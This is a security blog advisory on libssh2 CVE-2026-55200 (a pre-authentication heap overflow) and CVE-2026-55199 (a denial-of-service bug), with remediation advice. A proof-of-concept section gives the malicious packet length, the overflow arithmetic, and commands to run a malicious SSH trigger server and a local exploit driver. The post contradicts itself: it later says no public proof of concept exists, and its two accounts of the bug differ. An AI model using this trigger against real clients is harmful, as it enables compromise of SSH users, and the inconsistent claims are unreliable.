A critical flaw in libssh2 puts SSH clients at remote code execution risk

The CyberSec Guru

Updated on:

CVE-2026-55200 Critical libssh2 RCE Flaw

If you like this post, then please share it:

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Why your support matters: Zero paywalls: Keep the main content 100% free for learners worldwide.

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

A vulnerability disclosure dropped quietly last week that deserves more attention than it’s getting. libssh2, the open-source SSH client library baked into curl, backup utilities, IoT firmware, and a long tail of network appliances, has a critical remote code execution bug. CVSS 9.2. Every version through 1.11.1 is affected. There is no official patch release yet.

What is libssh2 and why this is a supply chain problem

Before getting into the mechanics of the flaw, it’s worth being clear about what libssh2 is and where it sits in most software stacks, because that context is what makes this more than a standard “update your library” advisory.

libssh2 is a C library that implements the SSH2 protocol on the client side. It handles the full handshake, key exchange, encryption negotiation, and transport layer so that applications do not have to. curl uses it to support SCP and SFTP transfers, making it an omnipresent dependency of almost everything that does automated file transfers over SSH. Backup software relies on it. Network management tools rely on it. IoT device firmware relies on it. It turns up in routers, NAS devices, industrial controllers, and embedded systems that ship their own bundled copy of the library and receive firmware updates on a schedule somewhere between infrequent and never.

That bundling pattern is the problem. When libssh2 has a critical vulnerability, it is not enough to update the package on your Linux host. Every product that statically links or ships its own copy of libssh2 is independently vulnerable, and each of those products requires a separate vendor patch. That is a slow and uneven process. Some vendors will ship an update within days. Others will not respond for months. Some never will.

The bug: what the code’ Supposed to do and where it breaks

CVE-2026-55200 is an out-of-bounds heap write in ssh2_transport_read() which lives in transport.c. Understanding exactly why this is dangerous requires a brief look at how the SSH transport layer works.

When two SSH endpoints connect, they go through a binary packet protocol before any authentication happens. Each packet sent over the wire has a fixed structure: a 4-byte packet_length field that declares how many bytes follow, a 1-byte padding_length, a payload, padding bytes, and an optional MAC. The receiving side reads packet_length first, allocates a buffer of that size, then reads the rest of the packet into that buffer.

The assumption embedded in that design is that packet_length is not out of spec. If it is not and the receiving code does not independently verify that the declared length is within some sane upper bound, then the result is a classic heap overflow.

That is exactly what happens in libssh2 through 1.11.1. The library has an internal maximum packet size, but ssh2_transport_read() fails to enforce it when reading the packet_length field off the wire. An attacker-controlled server sends a packet where packet_length is set to a value far larger than the actual payload. libssh2 allocates a buffer based on the legitimate allocation size for the operation in progress, then attempts to read the declared number of bytes into it. The write goes past the end of that heap buffer, corrupting whatever memory lives adjacent to it.

Controlled heap corruption of this type is the foundation for a large class of memory exploitation techniques. What an attacker does with it depends on the heap layout and the runtime environment, but remote code execution is well within the established range of outcomes from this class of vulnerability.

The attack fires before authentication. It fires during the initial transport negotiation, which happens the moment a client initiates a connection to a server. There is no login prompt, no credential exchange, no session state to establish first. A malicious server just needs the client to connect.

Researcher Tristan Madani found and reported the issue. VulnCheck published the advisory. The root cause analysis is available in the VulnCheck write-up.

Proof of Concept: CVE-2026-55200 libssh2 Packet Length Overflow

This PoC section demonstrates the vulnerable arithmetic condition behind CVE-2026-55200 and shows how the bug can be modeled safely in a controlled local harness.

The goal is not to provide a universal exploit for every libssh2 deployment. The PoC proves three things:

  1. the vulnerable packet length calculation can wrap;
  2. the wrapped value can lead to a very small allocation;
  3. later packet-processing logic may still operate using the original oversized packet_length, creating an out-of-bounds write primitive.

Only run this against local research targets, owned systems, or explicitly authorized CTF/HTB-style environments.

Vulnerable Code Shape

The affected logic exists in libssh2’s transport parser path:

src/transport.c:ssh2_transport_read()

The vulnerable source shape is roughly:

total_num = 4;
packet_length = decoded SSH packet_length field;
if(packet_length < 1)
reject;
total_num += packet_length + mac_len + auth_len;
if(total_num > 35000 || total_num == 0)
reject;
allocate total_num bytes;

The problem is that the upper bound check on packet_length happens too late or is missing in the vulnerable path.

An attacker-controlled SSH packet can set:

packet_length = 0xffffffff
mac_len = 0
auth_len = 16

On the vulnerable arithmetic path:

packet_length + mac_len + auth_len
= 0xffffffff + 0 + 16
= 0x0000000f modulo 2^32
= 15

Then:

total_num = 4 + 15
total_num = 19

So the allocation decision can be made using a tiny wrapped value:

allocation size = 19 bytes

However, the original decoded SSH packet length is still:

packet_length = 0xffffffff

That mismatch is the core bug. The allocator sees a tiny packet, but later full-packet processing can still use packet-length-derived sizes based on the original oversized value.

Why This Matters

This is an integer-overflow-to-buffer-overflow pattern.

The vulnerable path accepts a malicious packet length, performs arithmetic that can wrap, allocates a much smaller buffer than intended, and then continues into code that may treat the packet as much larger.

In practical terms:

Attacker-controlled packet_length
32-bit arithmetic wrap
Small allocation
Original oversized packet length remains in state
Later packet processing can write beyond allocation
Heap corruption / possible RCE depending on target layout

The upstream fix adds a direct boundary check before the vulnerable addition:

else if(p->packet_length > LIBSSH2_PACKET_MAXPAYLOAD) {
return LIBSSH2_ERROR_OUT_OF_BOUNDARY;
}

That prevents the malicious 0xffffffff packet length from reaching the dangerous allocation path.

PoC File Layout

The local research scaffold uses four main files:

poc/cve_2026_55200_probe.c

Standalone C11 arithmetic verifier.
This proves the integer wrap and shows the vulnerable allocation decision.

poc/libpwn_cve_2026_55200_server.py

Minimal malicious SSH trigger scaffold.
This performs the SSH handshake pieces needed for a controlled encrypted trigger test and sends a malformed server-to-client packet whose decrypted SSH packet_length is 0xffffffff.

poc/libpwn_local_rce_harness.c

Controlled local vulnerable target.
This does not claim to be libssh2 itself. It models the dangerous allocation-to-control-flow pattern in a simple local program.

poc/libpwn_local_rce_exploit.py

Local exploit driver for the harness.
It demonstrates controlled command execution by overwriting a modeled callback pointer and writing a proof file.

Arithmetic Verifier

Build the verifier on Linux, macOS, WSL, or MinGW:

gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe poc/cve_2026_55200_probe.c
./cve_2026_55200_probe

On Windows PowerShell with MinGW:

gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe.exe .\poc\cve_2026_55200_probe.c
.\cve_2026_55200_probe.exe

Useful modes:

./cve_2026_55200_probe --benign
./cve_2026_55200_probe --native
./cve_2026_55200_probe --check
./cve_2026_55200_probe --packet-length 0xffffffff --mac-len 0 --auth-len 16

Expected default proof condition:

vulnerable32_decision=accepted
vulnerable32_allocation=19
fixed32_decision=rejected: out of boundary
native_unpatched_decision=accepted
native_note=source-shaped integer expression wraps before assignment into 64-bit size_t
result=PASS

This confirms the important condition:

0xffffffff + 0 + 16 wraps to 15
4 + 15 becomes 19

So the vulnerable code path can accept a maliciously large SSH packet length while making a tiny allocation decision.

Encrypted SSH Trigger Scaffold

The trigger scaffold validates the encrypted SSH delivery path locally.

Run the crypto and arithmetic self-test:

python poc/libpwn_cve_2026_55200_server.py --self-test

Run a loopback test for the minimal SSH handshake, key derivation, server-to-client sequence number, and encrypted malformed packet:

python poc/libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0

The scaffold negotiates:

KEX: curve25519-sha256
Host key: RSA
Cipher: chacha20-poly1305@openssh.com
Direction: server-to-client

After negotiation, the server sends a malformed encrypted packet that decrypts to:

packet_length = 0xffffffff

The purpose of this scaffold is to prove that the malicious length can be delivered through the encrypted SSH transport path, not merely through a plaintext arithmetic toy.

For an authorized local lab or CTF challenge instance only, the scaffold can be bound to a chosen listener:

python poc/libpwn_cve_2026_55200_server.py --serve --listen-host 127.0.0.1 --listen-port 2222

For isolated lab networks, adjust the bind address and port as needed:

python poc/libpwn_cve_2026_55200_server.py --serve --listen-host 0.0.0.0 --listen-port 2222

Do not expose this listener to the public internet. It is intended for controlled verification only.

The top of the script leaves these values intentionally configurable:

HOST = ""
PORT = 0

That makes the same scaffold easy to adapt for loopback-only testing, containerized reproductions, or CTF lab routing.

Controlled Local RCE Harness

The local harness is a deliberately simplified vulnerable target. It models the important exploit pattern:

wrapped packet arithmetic
small allocation
oversized logical packet state
out-of-bounds overwrite
callback pointer control
local command execution proof

Build the harness:

gcc -O0 -g -Wall -Wextra -o poc/libpwn_local_rce_harness poc/libpwn_local_rce_harness.c

On Windows PowerShell with MinGW:

gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.c

Run the local exploit driver:

python poc/libpwn_local_rce_exploit.py --harness ./poc/libpwn_local_rce_harness --proof ./poc/libpwn_rce_proof.txt
cat poc/libpwn_rce_proof.txt

On Windows PowerShell:

python poc\libpwn_local_rce_exploit.py
Get-Content poc\libpwn_rce_proof.txt

Expected proof output:

RCE_PROOF=PASS
libpwn-rce-verified

This proves controlled local command execution in the harness by turning the modeled heap overwrite into callback-pointer control.

Important: this harness is not a drop-in exploit for all libssh2 clients. It is a controlled proof target that demonstrates the exploitation class. A real target still depends on allocator behavior, object layout, binary hardening, compiler settings, reachable libssh2 code paths, and how the application embeds libssh2.

64-bit Behavior Note

A common misconception is that 64-bit platforms automatically avoid this class of bug because size_t is larger.

That is not necessarily true here.

The vulnerable source-shaped expression performs the dangerous addition using 32-bit or integer operands first:

packet_length + mac_len + auth_len

With the malicious values:

0xffffffff + 0 + 16

the expression can wrap before the result is widened into a 64-bit size_t.

That means a 64-bit target can still reach:

wrapped intermediate = 15
allocation size = 19

The widened destination type does not save the program if the overflow already happened before assignment.

Verification Summary

The following checks were verified locally:

python poc\libpwn_cve_2026_55200_server.py --self-test
python poc\libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0
gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.c
python poc\libpwn_local_rce_exploit.py
python -m py_compile poc\libpwn_cve_2026_55200_server.py poc\libpwn_local_rce_exploit.py

The arithmetic verifier confirms the vulnerable allocation decision.
The encrypted SSH scaffold confirms the malformed packet can be delivered through the SSH transport flow.
The local harness confirms the exploit pattern can become command execution when memory layout and control-flow conditions are favorable.

PoC Limitations

This PoC should be read as a research scaffold, not a universal weaponized exploit.

The encrypted SSH trigger demonstrates delivery of the malformed packet_length value, but reliable RCE against a real application depends on target-specific conditions, including:

libssh2 version
application protocol flow
allocator behavior
heap layout
compiler and platform
ASLR/DEP/PIE/canary settings
reachable packet-processing path
whether the client connects to an attacker-controlled SSH server

The local RCE harness proves that the wrapped allocation state can be turned into control-flow hijack in a controlled model. It does not prove that every libssh2 deployment is directly exploitable in the same way.

Responsible Use

Run these PoCs only in local research environments, owned systems, or explicitly authorized lab/CTF/HTB instances.

Do not expose the malicious SSH trigger scaffold to the public internet.

For production systems, the correct remediation is to update libssh2 to a fixed build containing the LIBSSH2_PACKET_MAXPAYLOAD boundary check or apply the upstream patch directly.

Thanks to exploitarium/libssh2-cve-2026-55200-poc at main · bikini/exploitarium on GitHub for the PoC!

The second vulnerability: CVE-2026-55199

A second flaw came out in the same disclosure. CVE-2026-55199 is rated 8.2, classified as high severity, and causes denial of service rather than code execution. It targets the same phase of the connection: the pre-authentication key exchange.

During the initial key exchange, the server can advertise a list of extensions it supports. In a legitimate session, that list is a small number of items. The server sends a count of how many extensions follow, then the extension data. libssh2 reads that count and loops over the declared number of extensions.

The bug is that the library does not sanity-check the extension count before entering the loop. A malicious server sends an absurdly large count value. libssh2 dutifully enters a tight CPU loop trying to process an impossible number of extensions, and stays there. Testing has shown this can consume CPU for over 60 seconds, effectively hanging the connecting client.

The practical impact is significant in any environment that runs automated SSH connections at scale. A monitoring agent, a deployment pipeline, a backup job, any of these that connects to a server the attacker controls or has compromised will spin uselessly and block any subsequent work that depends on it completing. It is not code execution, but it is not harmless either.

the awkward gap between “fixed” and “released”

Both bugs have fixes. The maintainers merged two commits: 97acf3d for CVE-2026-55200 and 1762685 for CVE-2026-55199. Both are on the master branch of the libssh2 GitHub repository. Neither has been packaged into a new official libssh2 release.

That gap between “fixed in a commit” and “released as a version” is a real operational problem. Most package managers and dependency resolution tools work off versioned releases. A commit hash is not a version. Downstream consumers of libssh2 cannot simply point their package manager at a commit and expect it to work cleanly. They need to either build from source against the patched commit, or wait for their distribution or upstream vendor to backport the fix into a proper package.

Linux distributions are doing exactly that. Debian’s security tracker shows a repaired build at version 1.11.1-3 currently in testing. Kali Linux reportedly picked up the fix earlier this year. Other major distributions will follow, but the timelines vary.

For software that bundles its own copy of libssh2, the situation is more complicated. Those products each have their own release cycles, and the vendors have to become aware of the vulnerability, integrate the patch, test it, and ship an update, all before the fix reaches users. That chain takes time, and in some product categories, particularly embedded network devices and legacy industrial software, it may not close at all.

Who is actually exposed

The short answer is: anyone whose software connects to SSH, SCP, or SFTP servers using libssh2 as the underlying transport, running any version through 1.11.1, and where the software can be directed to connect to an attacker-controlled server.

That second condition matters. This is a client-side vulnerability. The attack vector is an attacker who controls or impersonates an SSH server. In practice, that means three broad scenarios.

The first is direct man-in-the-middle attacks against unencrypted or poorly secured network paths. If an attacker can intercept TCP traffic between the libssh2 client and its intended SSH server before the encrypted channel is established, they can inject their own SSH server responses during the handshake, before any host key verification can protect the client.

The second is attacks against clients that connect to SSH servers the attacker directly controls, such as shared hosting environments, managed services, or any case where a user can set up an SSH server that other libssh2 clients will connect to.

The third is attacks against automated systems where the target server’s hostname or IP resolves to something the attacker has compromised, through DNS poisoning, BGP hijacking, or server compromise. A backup job or deployment pipeline that connects to a remote SSH server by hostname is exposed if the attacker can redirect that hostname.

In environments that use SSH strictly on trusted internal networks and verify host keys rigorously, the practical exposure is lower. In environments where clients are connecting to external servers, or where host key verification is disabled or bypassed for convenience, the exposure is higher.

Current Exploitation status

No exploitation in the wild has been confirmed. The vulnerability is not in CISA’s Known Exploited Vulnerabilities catalog. The 30-day EPSS probability, which estimates the likelihood of active exploitation, sits at 0.6%.

That is the current picture. There is no public proof-of-concept code yet. The libssh2 codebase is well-known, the advisory is published, the vulnerable function is identified by name, and the bug class (unchecked heap write from an attacker-controlled length field) is one of the better-understood categories in exploitation research. Writing a working PoC is a matter of when, not whether.

The CVSS score of 9.2 reflects the attack complexity being rated low, the privileges required being none, and the user interaction required being none. Those are the three factors that make an RCE vulnerability operationally dangerous rather than theoretically dangerous. Whenever its exploited, it will not require much from an attacker.

What to do

There are two populations of people reading this, roughly speaking: people who manage servers and development environments directly, and people who use software products that happen to contain libssh2 somewhere in their dependency tree.

For the first group, the action is to identify every application in your environment that links libssh2 for SSH, SCP, or SFTP. On Linux, ldd against any suspected binary will show whether it links against libssh2. For statically linked binaries, strings piped through grep for recognizable libssh2 function names or version strings can help. Once identified, check which version is in use. If it is 1.11.1 or earlier, and if your distribution has a backported package available, update it. If you are building from source, pull from the master branch and verify commit 97acf3d is included before building.

For applications where you do not control the build, you are waiting on the vendor. That is the less comfortable position. You can reduce exposure by hardening your network controls around the connections those applications make over SSH, by auditing which servers they are configured to connect to, and by ensuring host key verification is not disabled.

For the second group, the answer is to push your vendors. Check your software vendors’ security advisories for patches. If you run network devices, backup appliances, or any embedded system that uses SSH, check for firmware updates.

The fix is commit 97acf3d for the RCE and commit 1762685 for the DoS. Any build that does not include those two commits is vulnerable. That is the only question worth asking vendors right now.

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Your contribution powers free tutorials, hands-on labs, and security resources.

Why your support matters:
  • Writeup Access: Get complete writeup access within 12 hours
  • Zero paywalls: Keep the main content 100% free for learners worldwide

Perks for one-time supporters:
☕️ $5: Shoutout in Buy Me a Coffee
🛡️ $8: Fast-track Access to Live Webinars
💻 $10: Vote on future tutorial topics + exclusive AMA access

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

If you like this post, then please share it:

News

Discover more from The CyberSec Guru

Subscribe to get the latest posts sent to your email!

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Discover more from The CyberSec Guru

Subscribe now to keep reading and get access to the full archive.

Continue reading